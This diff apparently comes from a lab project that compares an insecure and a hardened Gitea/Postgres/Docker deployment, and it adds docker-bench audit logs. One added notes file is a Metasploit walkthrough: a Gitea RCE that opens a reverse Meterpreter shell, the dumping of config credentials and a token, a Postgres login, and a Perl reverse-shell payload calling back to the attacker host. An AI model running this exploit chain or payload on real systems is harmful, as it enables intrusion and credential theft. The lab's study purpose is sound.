diff --git a/attack_notes.md b/attack_notes.md
index f66e3a6..301aacc 100644
--- a/attack_notes.md
+++ b/attack_notes.md
@@ -145,7 +145,8 @@ according to [docs](https://github.com/docker/docker-bench-security)
```sh
git clone https://github.com/docker/docker-bench-security.git
cd docker-bench-security
-docker build --no-cache -t docker-bench-security .
+sudo ./docker-bench-security.sh
+
```
Ubuntu run config
```sh
diff --git a/attack_notes_hybrid.md b/attack_notes_hybrid.md
index 91f6a5b..16e9138 100644
--- a/attack_notes_hybrid.md
+++ b/attack_notes_hybrid.md
@@ -104,8 +104,3 @@ msf6 auxiliary(scanner/postgres/postgres_login) > run
[*] You can open a Postgres session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
```
-
-```sh
-```
-```sh
-```
\ No newline at end of file
diff --git a/attack_notes_insecure.md b/attack_notes_insecure.md
new file mode 100644
index 0000000..571a324
--- /dev/null
+++ b/attack_notes_insecure.md
@@ -0,0 +1,244 @@
+manually create account in gitea (demo_user:demo_user)
+
+assuming ALLOW_LOCALNETWORKS is enabled (scenario: same network originally had a different git server, thus migration is now desired)
+
+```sh
+msf6 > use exploit/multi/http/gitea_git_fetch_rce
+[*] Using configured payload linux/x64/meterpreter/reverse_tcp
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set LHOST 192.168.56.20
+LHOST => 192.168.56.20
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set RHOSTS 192.168.56.10
+RHOSTS => 192.168.56.10
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set RPORT 3000
+RPORT => 3000
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set SSL false
+SSL => false
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set username demo_user
+username => demo_user
+msf6 exploit(multi/http/gitea_git_fetch_rce) > set password demo_user
+password => demo_user
+msf6 exploit(multi/http/gitea_git_fetch_rce) > run
+[*] Started reverse TCP handler on 192.168.56.20:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[+] The target appears to be vulnerable. Version detected: 1.16.6
+[*] Using URL: http://192.168.56.20:8080/
+[*] Using URL: http://192.168.56.20:8080/6usOy2
+[*] Client 192.168.56.10 (curl/7.79.1) requested /6usOy2
+[*] Sending payload to 192.168.56.10 (curl/7.79.1)
+[*] Sending stage (3045380 bytes) to 192.168.56.10
+[*] Meterpreter session 1 opened (192.168.56.20:4444 -> 192.168.56.10:48350) at 2025-05-19 07:35:34 -0400
+[*] Command Stager progress - 100.00% done (112/112 bytes)
+
+meterpreter > sysinfo
+Computer : 172.18.0.2
+OS : (Linux 5.15.0-135-generic)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+```
+
+shell commands have been prefixed with a `>` for readability, this symbol is not present in the original
+```sh
+meterpreter > shell
+Process 172 created.
+Channel 1 created.
+> env
+USER=git
+SHLVL=1
+HOME=/data/git
+PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
+LANG=C
+PWD=/data/git/repositories/demo_user/wssbr3glpme5a.git
+> ls /data
+git
+gitea
+ssh
+> ls /data/gitea
+attachments
+avatars
+conf
+indexers
+jwt
+log
+queues
+repo-archive
+repo-avatars
+> ls /data/gitea/conf
+app.ini
+> cat /data/gitea/conf/app.ini
+APP_NAME = Gitea: Git with a cup of tea
+RUN_MODE = prod
+
+[repository]
+ROOT = /data/git/repositories
+
+[repository.local]
+LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
+
+[repository.upload]
+TEMP_PATH = /data/gitea/uploads
+
+[server]
+APP_DATA_PATH = /data/gitea
+DOMAIN = localhost
+SSH_DOMAIN = localhost
+HTTP_PORT = 3000
+ROOT_URL = https://gitea.vm.local/
+DISABLE_SSH = false
+SSH_PORT = 22
+SSH_LISTEN_PORT = 22
+LFS_START_SERVER = false
+LFS_CONTENT_PATH = /data/git/lfs
+
+[database]
+PATH = /data/gitea/gitea.db
+DB_TYPE = postgres
+HOST = postgres:5432
+NAME = gitea
+USER = gitea
+PASSWD = gitea
+LOG_SQL = false
+
+...
+
+[log]
+MODE = console
+LEVEL = info
+ROUTER = console
+ROOT_PATH = /data/gitea/log
+
+[security]
+INSTALL_LOCK = true
+SECRET_KEY =
+REVERSE_PROXY_LIMIT = 1
+REVERSE_PROXY_TRUSTED_PROXIES = *
+INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NDc2NTQxMTB9.qXWoxugJwfYRPl1mm8pQ_Z1dreWr2A2I4Aol5edV8o4
+
+[service]
+DISABLE_REGISTRATION = false
+REQUIRE_SIGNIN_VIEW = false
+
+[migrations]
+ALLOW_LOCALNETWORKS = true
+```
+
+for demonstration purposes,
+
+database setup
+```sh
+meterpreter > resolve postgres
+
+Host resolutions
+================
+
+ Hostname IP Address
+ -------- ----------
+ postgres 172.18.0.1
+
+meterpreter > portfwd add -l 5432 -p 5432 -r 172.18.0.1
+[*] Forward TCP relay created: (local) :5432 -> (remote) 172.18.0.1:5432
+meterpreter > background
+[*] Backgrounding session 1...
+msf6 > use auxiliary/scanner/postgres/postgres_login
+[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
+msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 127.0.0.1
+RHOSTS => 127.0.0.1
+msf6 auxiliary(scanner/postgres/postgres_login) > set USERNAME gitea
+USERNAME => gitea
+msf6 auxiliary(scanner/postgres/postgres_login) > set PASSWORD gitea
+PASSWORD => gitea
+msf6 auxiliary(scanner/postgres/postgres_login) > set DATABASE gitea
+DATABASE => gitea
+msf6 auxiliary(scanner/postgres/postgres_login) > set STOP_ON_SUCCESS true
+STOP_ON_SUCCESS => true
+msf6 auxiliary(scanner/postgres/postgres_login) > run
+[!] No active DB -- Credential data will not be saved!
+[+] 127.0.0.1:5432 - Login Successful: gitea:gitea@gitea
+[*] PostgreSQL session 2 opened (127.0.0.1:45027 -> 127.0.0.1:5432) at 2025-05-19 07:55:46 -0400
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Bruteforce completed, 1 credential was successful.
+[*] 1 Postgres session was opened successfully.
+[*] Auxiliary module execution completed
+```
+
+```sh
+msf6 > use auxiliary/scanner/postgres/postgres_version
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+msf6 auxiliary(scanner/postgres/postgres_version) > set SESSION 2
+SESSION => 2
+msf6 auxiliary(scanner/postgres/postgres_version) > run
+[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit (Post-Auth)
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+
+```sh
+msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
+[*] Using configured payload cmd/unix/reverse_perl
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set SESSION 2
+SESSION => 2
+msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 192.168.56.20
+LHOST => 192.168.56.20msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
+[*] Started reverse TCP handler on 192.168.56.20:4444
+[*] : - PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit
+[*] Exploiting...
+[+] 127.0.0.1:5432 - gqBG2W1VfJT dropped successfully
+[+] 127.0.0.1:5432 - gqBG2W1VfJT created successfully
+[!] 127.0.0.1:5432 - Unable to execute query: COPY "gqBG2W1VfJT" FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.56.20:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};''';
+[-] Insufficient permissions, User must be superuser or in pg_read_server_files group
+[-] Exploit Failed
+```
+
+most explots require superuser unfortunately, as shown
+
+```sh
+msf6 > use auxiliary/admin/postgres/postgres_sql
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+msf6 auxiliary(admin/postgres/postgres_sql) > set SESSION 2
+SESSION => 2
+msf6 auxiliary(admin/postgres/postgres_sql) > set SQL 'SELECT version();'
+SQL => SELECT version();
+msf6 auxiliary(admin/postgres/postgres_sql) > run
+Query Text: 'SELECT version();'
+===============================
+
+ version
+ -------
+ PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (U
+ buntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit
+
+[*] Auxiliary module execution completed
+msf6 auxiliary(admin/postgres/postgres_sql) > set SQL "SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';"
+SQL => SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';
+msf6 auxiliary(admin/postgres/postgres_sql) > run
+Query Text: 'SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'user';'
+==================================================================================================================================
+
+ column_name data_type
+ ----------- ---------
+ allow_create_organization boolean
+ allow_git_hook boolean
+ allow_import_local boolean
+ avatar character varying
+ ...
+ login_name character varying
+ login_source bigint
+ login_type integer
+ ...
+ passwd character varying
+ passwd_hash_algo character varying
+ ...
+ salt character varying
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+log:insecure:nmap
+log:insecure:gitea_rce
+log:insecure:gitea:shell
+log:insecure:postgres_session
+log:insecure:postgres_exploit_version
+log:insecure:postgres_exploit_rce
+log:insecure:postgres_exploit_sql
\ No newline at end of file
diff --git a/measurements/docker-bench/hardened.log b/measurements/docker-bench/hardened.log
new file mode 100644
index 0000000..8e23469
--- /dev/null
+++ b/measurements/docker-bench/hardened.log
@@ -0,0 +1,184 @@
+Initializing 2025-05-19T16:22:41+00:00
+
+
+[1;33mSection A - Check results[0m
+
+[1;34m[INFO][0m 1 - Host Configuration
+[1;34m[INFO][0m 1.1 - Linux Hosts Specific Configuration
+[1;31m[WARN][0m 1.1.1 - Ensure a separate partition for containers has been created (Automated)
+[1;34m[INFO][0m 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated)
+[1;34m[INFO][0m * Users: vagrant,git
+[1;32m[PASS][0m 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated)
+[1;32m[PASS][0m 1.1.4 - Ensure auditing is configured for Docker files and directories -/run/containerd (Automated)
+[1;32m[PASS][0m 1.1.5 - Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated)
+[1;32m[PASS][0m 1.1.6 - Ensure auditing is configured for Docker files and directories - /etc/docker (Automated)
+[1;32m[PASS][0m 1.1.7 - Ensure auditing is configured for Docker files and directories - docker.service (Automated)
+[1;32m[PASS][0m 1.1.8 - Ensure auditing is configured for Docker files and directories - containerd.sock (Automated)
+[1;31m[WARN][0m 1.1.9 - Ensure auditing is configured for Docker files and directories - docker.socket (Automated)
+[1;32m[PASS][0m 1.1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated)
+[1;32m[PASS][0m 1.1.11 - Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated)
+[1;32m[PASS][0m 1.1.12 - 1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated)
+[1;34m[INFO][0m 1.1.13 - Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated)
+[1;34m[INFO][0m * File not found
+[1;31m[WARN][0m 1.1.14 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated)
+[1;31m[WARN][0m 1.1.15 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated)
+[1;31m[WARN][0m 1.1.16 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated)
+[1;31m[WARN][0m 1.1.17 - Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated)
+[1;31m[WARN][0m 1.1.18 - Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated)
+[1;34m[INFO][0m 1.2 - General Configuration
+[1;33m[NOTE][0m 1.2.1 - Ensure the container host has been Hardened (Manual)
+[1;32m[PASS][0m 1.2.2 - Ensure that the version of Docker is up to date (Manual)
+[1;34m[INFO][0m * Using 28.1.1 which is current
+[1;34m[INFO][0m * Check with your operating system vendor for support and security maintenance for Docker
+
+[1;34m[INFO][0m 2 - Docker daemon configuration
+[1;33m[NOTE][0m 2.1 - Run the Docker daemon as a non-root user, if possible (Manual)
+[1;32m[PASS][0m 2.2 - Ensure network traffic is restricted between containers on the default bridge (Scored)
+[1;32m[PASS][0m 2.3 - Ensure the logging level is set to 'info' (Scored)
+[1;32m[PASS][0m 2.4 - Ensure Docker is allowed to make changes to iptables (Scored)
+[1;32m[PASS][0m 2.5 - Ensure insecure registries are not used (Scored)
+[1;32m[PASS][0m 2.6 - Ensure aufs storage driver is not used (Scored)
+[1;34m[INFO][0m 2.7 - Ensure TLS authentication for Docker daemon is configured (Scored)
+[1;34m[INFO][0m * Docker daemon not listening on TCP
+[1;34m[INFO][0m 2.8 - Ensure the default ulimit is configured appropriately (Manual)
+[1;34m[INFO][0m * Default ulimit doesn't appear to be set
+[1;31m[WARN][0m 2.9 - Enable user namespace support (Scored)
+[1;32m[PASS][0m 2.10 - Ensure the default cgroup usage has been confirmed (Scored)
+[1;32m[PASS][0m 2.11 - Ensure base device size is not changed until needed (Scored)
+[1;31m[WARN][0m 2.12 - Ensure that authorization for Docker client commands is enabled (Scored)
+[1;31m[WARN][0m 2.13 - Ensure centralized and remote logging is configured (Scored)
+[1;32m[PASS][0m 2.14 - Ensure containers are restricted from acquiring new privileges (Scored)
+[1;32m[PASS][0m 2.15 - Ensure live restore is enabled (Scored)
+[1;32m[PASS][0m 2.16 - Ensure Userland Proxy is Disabled (Scored)
+[1;34m[INFO][0m 2.17 - Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual)
+[1;34m[INFO][0m Ensure that experimental features are not implemented in production (Scored) (Deprecated)
+
+[1;34m[INFO][0m 3 - Docker daemon configuration files
+[1;32m[PASS][0m 3.1 - Ensure that the docker.service file ownership is set to root:root (Automated)
+[1;32m[PASS][0m 3.2 - Ensure that docker.service file permissions are appropriately set (Automated)
+[1;32m[PASS][0m 3.3 - Ensure that docker.socket file ownership is set to root:root (Automated)
+[1;32m[PASS][0m 3.4 - Ensure that docker.socket file permissions are set to 644 or more restrictive (Automated)
+[1;32m[PASS][0m 3.5 - Ensure that the /etc/docker directory ownership is set to root:root (Automated)
+[1;32m[PASS][0m 3.6 - Ensure that /etc/docker directory permissions are set to 755 or more restrictively (Automated)
+[1;34m[INFO][0m 3.7 - Ensure that registry certificate file ownership is set to root:root (Automated)
+[1;34m[INFO][0m * Directory not found
+[1;34m[INFO][0m 3.8 - Ensure that registry certificate file permissions are set to 444 or more restrictively (Automated)
+[1;34m[INFO][0m * Directory not found
+[1;34m[INFO][0m 3.9 - Ensure that TLS CA certificate file ownership is set to root:root (Automated)
+[1;34m[INFO][0m * No TLS CA certificate found
+[1;34m[INFO][0m 3.10 - Ensure that TLS CA certificate file permissions are set to 444 or more restrictively (Automated)
+[1;34m[INFO][0m * No TLS CA certificate found
+[1;34m[INFO][0m 3.11 - Ensure that Docker server certificate file ownership is set to root:root (Automated)
+[1;34m[INFO][0m * No TLS Server certificate found
+[1;34m[INFO][0m 3.12 - Ensure that the Docker server certificate file permissions are set to 444 or more restrictively (Automated)
+[1;34m[INFO][0m * No TLS Server certificate found
+[1;34m[INFO][0m 3.13 - Ensure that the Docker server certificate key file ownership is set to root:root (Automated)
+[1;34m[INFO][0m * No TLS Key found
+[1;34m[INFO][0m 3.14 - Ensure that the Docker server certificate key file permissions are set to 400 (Automated)
+[1;34m[INFO][0m * No TLS Key found
+[1;32m[PASS][0m 3.15 - Ensure that the Docker socket file ownership is set to root:docker (Automated)
+[1;32m[PASS][0m 3.16 - Ensure that the Docker socket file permissions are set to 660 or more restrictively (Automated)
+[1;32m[PASS][0m 3.17 - Ensure that the daemon.json file ownership is set to root:root (Automated)
+[1;32m[PASS][0m 3.18 - Ensure that daemon.json file permissions are set to 644 or more restrictive (Automated)
+[1;32m[PASS][0m 3.19 - Ensure that the /etc/default/docker file ownership is set to root:root (Automated)
+[1;32m[PASS][0m 3.20 - Ensure that the /etc/default/docker file permissions are set to 644 or more restrictively (Automated)
+[1;34m[INFO][0m 3.21 - Ensure that the /etc/sysconfig/docker file permissions are set to 644 or more restrictively (Automated)
+[1;34m[INFO][0m * File not found
+[1;34m[INFO][0m 3.22 - Ensure that the /etc/sysconfig/docker file ownership is set to root:root (Automated)
+[1;34m[INFO][0m * File not found
+[1;32m[PASS][0m 3.23 - Ensure that the Containerd socket file ownership is set to root:root (Automated)
+[1;32m[PASS][0m 3.24 - Ensure that the Containerd socket file permissions are set to 660 or more restrictively (Automated)
+
+[1;34m[INFO][0m 4 - Container Images and Build File
+[1;31m[WARN][0m 4.1 - Ensure that a user for the container has been created (Automated)
+[1;31m[WARN][0m * Running as root: vaultwarden
+[1;31m[WARN][0m * Running as root: nginx
+[1;31m[WARN][0m * Running as root: gitea
+[1;33m[NOTE][0m 4.2 - Ensure that containers use only trusted base images (Manual)
+[1;33m[NOTE][0m 4.3 - Ensure that unnecessary packages are not installed in the container (Manual)
+[1;33m[NOTE][0m 4.4 - Ensure images are scanned and rebuilt to include security patches (Manual)
+[1;31m[WARN][0m 4.5 - Ensure Content trust for Docker is Enabled (Automated)
+[1;31m[WARN][0m 4.6 - Ensure that HEALTHCHECK instructions have been added to container images (Automated)
+[1;31m[WARN][0m * No Healthcheck found: [docker.gitea.com/gitea:latest]
+[1;31m[WARN][0m * No Healthcheck found: [nginx:latest]
+[1;32m[PASS][0m 4.7 - Ensure update instructions are not used alone in the Dockerfile (Manual)
+[1;33m[NOTE][0m 4.8 - Ensure setuid and setgid permissions are removed (Manual)
+[1;34m[INFO][0m 4.9 - Ensure that COPY is used instead of ADD in Dockerfiles (Manual)
+[1;34m[INFO][0m * ADD in image history: [vaultwarden/server:latest]
+[1;33m[NOTE][0m 4.10 - Ensure secrets are not stored in Dockerfiles (Manual)
+[1;33m[NOTE][0m 4.11 - Ensure only verified packages are installed (Manual)
+[1;33m[NOTE][0m 4.12 - Ensure all signed artifacts are validated (Manual)
+
+[1;34m[INFO][0m 5 - Container Runtime
+[1;32m[PASS][0m 5.1 - Ensure swarm mode is not Enabled, if not needed (Automated)
+[1;32m[PASS][0m 5.2 - Ensure that, if applicable, an AppArmor Profile is enabled (Automated)
+[1;31m[WARN][0m 5.3 - Ensure that, if applicable, SELinux security options are set (Automated)
+[1;31m[WARN][0m * No SecurityOptions Found: vaultwarden
+[1;31m[WARN][0m * No SecurityOptions Found: nginx
+[1;31m[WARN][0m * No SecurityOptions Found: gitea
+[1;32m[PASS][0m 5.4 - Ensure that Linux kernel capabilities are restricted within containers (Automated)
+[1;32m[PASS][0m 5.5 - Ensure that privileged containers are not used (Automated)
+[1;32m[PASS][0m 5.6 - Ensure sensitive host system directories are not mounted on containers (Automated)
+[1;31m[WARN][0m 5.7 - Ensure sshd is not run within containers (Automated)
+[1;31m[WARN][0m * Container running sshd: gitea
+[1;31m[WARN][0m 5.8 - Ensure privileged ports are not mapped within containers (Automated)
+[1;31m[WARN][0m * Privileged Port in use: 80 in nginx
+[1;31m[WARN][0m * Privileged Port in use: 443 in nginx
+[1;31m[WARN][0m 5.9 - Ensure that only needed ports are open on the container (Manual)
+[1;31m[WARN][0m * Port in use: 80 in nginx
+[1;31m[WARN][0m * Port in use: 443 in nginx
+[1;32m[PASS][0m 5.10 - Ensure that the host's network namespace is not shared (Automated)
+[1;32m[PASS][0m 5.11 - Ensure that the memory usage for containers is limited (Automated)
+[1;32m[PASS][0m 5.12 - Ensure that CPU priority is set appropriately on containers (Automated)
+[1;31m[WARN][0m 5.13 - Ensure that the container's root filesystem is mounted as read only (Automated)
+[1;31m[WARN][0m * Container running with root FS mounted R/W: vaultwarden
+[1;31m[WARN][0m * Container running with root FS mounted R/W: gitea
+[1;31m[WARN][0m 5.14 - Ensure that incoming container traffic is bound to a specific host interface (Automated)
+[1;31m[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
+[1;31m[WARN][0m * Port being bound to wildcard IP: 0.0.0.0 in nginx
+[1;32m[PASS][0m 5.15 - Ensure that the 'on-failure' container restart policy is set to '5' (Automated)
+[1;32m[PASS][0m 5.16 - Ensure that the host's process namespace is not shared (Automated)
+[1;32m[PASS][0m 5.17 - Ensure that the host's IPC namespace is not shared (Automated)
+[1;32m[PASS][0m 5.18 - Ensure that host devices are not directly exposed to containers (Manual)
+[1;34m[INFO][0m 5.19 - Ensure that the default ulimit is overwritten at runtime if needed (Manual)
+[1;34m[INFO][0m * Container no default ulimit override: vaultwarden
+[1;34m[INFO][0m * Container no default ulimit override: nginx
+[1;34m[INFO][0m * Container no default ulimit override: gitea
+[1;32m[PASS][0m 5.20 - Ensure mount propagation mode is not set to shared (Automated)
+[1;32m[PASS][0m 5.21 - Ensure that the host's UTS namespace is not shared (Automated)
+[1;32m[PASS][0m 5.22 - Ensure the default seccomp profile is not Disabled (Automated)
+[1;33m[NOTE][0m 5.23 - Ensure that docker exec commands are not used with the privileged option (Automated)
+[1;33m[NOTE][0m 5.24 - Ensure that docker exec commands are not used with the user=root option (Manual)
+[1;32m[PASS][0m 5.25 - Ensure that cgroup usage is confirmed (Automated)
+[1;32m[PASS][0m 5.26 - Ensure that the container is restricted from acquiring additional privileges (Automated)
+[1;31m[WARN][0m 5.27 - Ensure that container health is checked at runtime (Automated)
+[1;31m[WARN][0m * Health check not set: nginx
+[1;34m[INFO][0m 5.28 - Ensure that Docker commands always make use of the latest version of their image (Manual)
+[1;32m[PASS][0m 5.29 - Ensure that the PIDs cgroup limit is used (Automated)
+[1;32m[PASS][0m 5.30 - Ensure that Docker's default bridge 'docker0' is not used (Manual)
+[1;32m[PASS][0m 5.31 - Ensure that the host's user namespaces are not shared (Automated)
+[1;32m[PASS][0m 5.32 - Ensure that the Docker socket is not mounted inside any containers (Automated)
+
+[1;34m[INFO][0m 6 - Docker Security Operations
+[1;34m[INFO][0m 6.1 - Ensure that image sprawl is avoided (Manual)
+[1;34m[INFO][0m * There are currently: 3 images
+[1;34m[INFO][0m 6.2 - Ensure that container sprawl is avoided (Manual)
+[1;34m[INFO][0m * There are currently a total of 3 containers, with 3 of them currently running
+
+[1;34m[INFO][0m 7 - Docker Swarm Configuration
+[1;32m[PASS][0m 7.1 - Ensure that the minimum number of manager nodes have been created in a swarm (Automated) (Swarm mode not enabled)
+[1;32m[PASS][0m 7.2 - Ensure that swarm services are bound to a specific host interface (Automated) (Swarm mode not enabled)
+[1;32m[PASS][0m 7.3 - Ensure that all Docker swarm overlay networks are encrypted (Automated)
+[1;32m[PASS][0m 7.4 - Ensure that Docker's secret management commands are used for managing secrets in a swarm cluster (Manual) (Swarm mode not enabled)
+[1;32m[PASS][0m 7.5 - Ensure that swarm manager is run in auto-lock mode (Automated) (Swarm mode not enabled)
+[1;32m[PASS][0m 7.6 - Ensure that the swarm manager auto-lock key is rotated periodically (Manual) (Swarm mode not enabled)
+[1;32m[PASS][0m 7.7 - Ensure that node certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
+[1;32m[PASS][0m 7.8 - Ensure that CA certificates are rotated as appropriate (Manual) (Swarm mode not enabled)
+[1;32m[PASS][0m 7.9 - Ensure that management plane traffic is separated from data plane traffic (Manual) (Swarm mode not enabled)
+
+
+[1;33mSection C - Score[0m
+
+[1;34m[INFO][0m Checks: 117
+[1;34m[INFO][0m Score: 36
+
diff --git a/measurements/docker-bench/hardened.log.json b/measurements/docker-bench/hardened.log.json
new file mode 100644
index 0000000..c50d940
--- /dev/null
+++ b/measurements/docker-bench/hardened.log.json
@@ -0,0 +1,700 @@
+{
+ "dockerbenchsecurity": "1.6.0",
+ "start": 1747671761,
+ "tests": [
+ {
+ "id": "1",
+ "desc": "Host Configuration",
+ "results": [
+ {
+ "id": "1.1.1",
+ "desc": "Ensure a separate partition for containers has been created (Automated)",
+ "result": "WARN"
+ },
+ {
+ "id": "1.1.2",
+ "desc": "Ensure only trusted users are allowed to control Docker daemon (Automated)",
+ "result": "INFO",
+ "details": "doubtfulusers: vagrant,git",
+ "items": [
+ "vagrant,git"
+ ]
+ },
+ {
+ "id": "1.1.3",
+ "desc": "Ensure auditing is configured for the Docker daemon (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "1.1.4",
+ "desc": "Ensure auditing is configured for Docker files and directories -/run/containerd (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "1.1.5",
+ "desc": "Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "1.1.6",
+ "desc": "Ensure auditing is configured for Docker files and directories - /etc/docker (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "1.1.7",
+ "desc": "Ensure auditing is configured for Docker files and directories - docker.service (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "1.1.8",
+ "desc": "Ensure auditing is configured for Docker files and directories - containerd.sock (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "1.1.9",
+ "desc": "Ensure auditing is configured for Docker files and directories - docker.socket (Automated)",
+ "result": "WARN"
+ },
+ {
+ "id": "1.1.10",
+ "desc": "Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "1.1.11",
+ "desc": "Ensure auditing is configured for Dockerfiles and directories - /etc/docker/daemon.json (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "1.1.12",
+ "desc": "1.1.12 Ensure auditing is configured for Dockerfiles and directories - /etc/containerd/config.toml (Automated)",
+ "result": "PASS"
+ },
+ {
+ "id": "1.1.13",
+ "desc": "Ensure auditing is configured for Docker files and directories - /etc/sysconfig/docker (Automated)",
+ "result": "INFO",
+ "details": "File not found"
+ },
+ {
+ "id": "1.1.14",
+ "desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/containerd (Automated)",
+ "result": "WARN"
+ },
+ {
+ "id": "1.1.15",
+ "desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim (Automated)",
+ "result": "WARN"
+ },
+ {
+ "id": "1.1.16",
+ "desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v1 (Automated)",
+ "result": "WARN"
+ },
+ {
+ "id": "1.1.17",
+ "desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/containerd-shim-runc-v2 (Automated)",
+ "result": "WARN"
+ },
+ {
+ "id": "1.1.18",
+ "desc": "Ensure auditing is configured for Docker files and directories - /usr/bin/runc (Automated)",
+ "result": "WARN"
+ },
+ {
+ "id": "1.2.1",
+ "desc": "Ensure the container host has been Hardened (Manual)",
+ "result": "INFO"
+ },
+ {
+ "id": "1.2.2",
+ "desc": "Ensure that the version of Docker is up to date (Manual)",
+ "result": "PASS",
+ "details": "Using 28.1.1"
+ }
+ ]
+ },
+ {
+ "id": "2",
+ "desc": "Docker daemon configuration",
+ "results": [
+ {
+ "id": "2.1",
+ "desc": "Run the Docker daemon as a non-root user, if possible (Manual)",
+ "result": "INFO"
+ },
+ {
+ "id": "2.2",
+ "desc": "Ensure network traffic is restricted between containers on the default bridge (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.3",
+ "desc": "Ensure the logging level is set to 'info' (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.4",
+ "desc": "Ensure Docker is allowed to make changes to iptables (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.5",
+ "desc": "Ensure insecure registries are not used (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.6",
+ "desc": "Ensure aufs storage driver is not used (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.7",
+ "desc": "Ensure TLS authentication for Docker daemon is configured (Scored)",
+ "result": "INFO",
+ "details": "Docker daemon not listening on TCP"
+ },
+ {
+ "id": "2.8",
+ "desc": "Ensure the default ulimit is configured appropriately (Manual)",
+ "result": "INFO",
+ "details": "Default ulimit doesn't appear to be set"
+ },
+ {
+ "id": "2.9",
+ "desc": "Enable user namespace support (Scored)",
+ "result": "WARN"
+ },
+ {
+ "id": "2.10",
+ "desc": "Ensure the default cgroup usage has been confirmed (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.11",
+ "desc": "Ensure base device size is not changed until needed (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.12",
+ "desc": "Ensure that authorization for Docker client commands is enabled (Scored)",
+ "result": "WARN"
+ },
+ {
+ "id": "2.13",
+ "desc": "Ensure centralized and remote logging is configured (Scored)",
+ "result": "WARN"
+ },
+ {
+ "id": "2.14",
+ "desc": "Ensure containers are restricted from acquiring new privileges (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.15",
+ "desc": "Ensure live restore is enabled (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.16",
+ "desc": "Ensure Userland Proxy is Disabled (Scored)",
+ "result": "PASS"
+ },
+ {
+ "id": "2.17",
+ "desc": "Ensure that a daemon-wide custom seccomp profile is applied if appropriate (Manual)",
+ "result": "INFO"
